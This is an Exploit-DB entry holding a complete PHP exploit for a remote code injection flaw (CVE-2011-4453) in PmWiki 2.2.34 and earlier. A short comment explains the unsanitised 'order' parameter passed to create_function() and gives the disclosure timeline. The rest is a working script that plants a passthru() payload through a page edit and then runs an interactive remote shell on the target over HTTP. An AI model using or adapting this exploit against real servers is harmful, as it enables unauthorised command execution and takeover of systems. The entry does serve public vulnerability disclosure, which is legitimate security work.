PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (1)

EDB-ID:

18149


Author:

EgiX

Type:

webapps


Platform:

PHP

Date:

2011-11-23


<?php

/*
    -------------------------------------------------------------
    PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    -------------------------------------------------------------
    
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.pmwiki.org/
    affected versions....: from 2.0.0 to 2.2.34
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    
    452.      $code = '';
    453.      foreach($opt['=order'] as $o => $r) {
    454.        if (@$PageListSortCmp[$o]) 
    455.          $code .= "\$c = {$PageListSortCmp[$o]}; "; 
    456.        else 
    457.          $code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";
    458.        $code .= "if (\$c) return $r\$c;\n";
    459.      }
    460.      StopWatch('PageListSort sort');
    461.      if ($code) 
    462.        uasort($list,
    463.               create_function('$x,$y', "global \$PCache; $code return 0;"));
    464.      StopWatch('PageListSort end');
    
    Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
    
    [-] Disclosure timeline:
    
    [09/11/2011] - Vulnerability discovered
    [11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271
    [11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235
    [12/11/2011] - CVE number requested
    [15/11/2011] - Assigned CVE-2011-4453
    [23/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /pmwiki/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$phpcode = "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#";
$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";

$packet  = "POST {$path}pmwiki.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/Location/", http_send($host, $packet))) die("\n[-] Edit password required?!\n");

$packet  = "POST {$path}pmwiki.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: 11\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\nn=Cmd.Shell";

while(1)
{
    print "\npmwiki-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>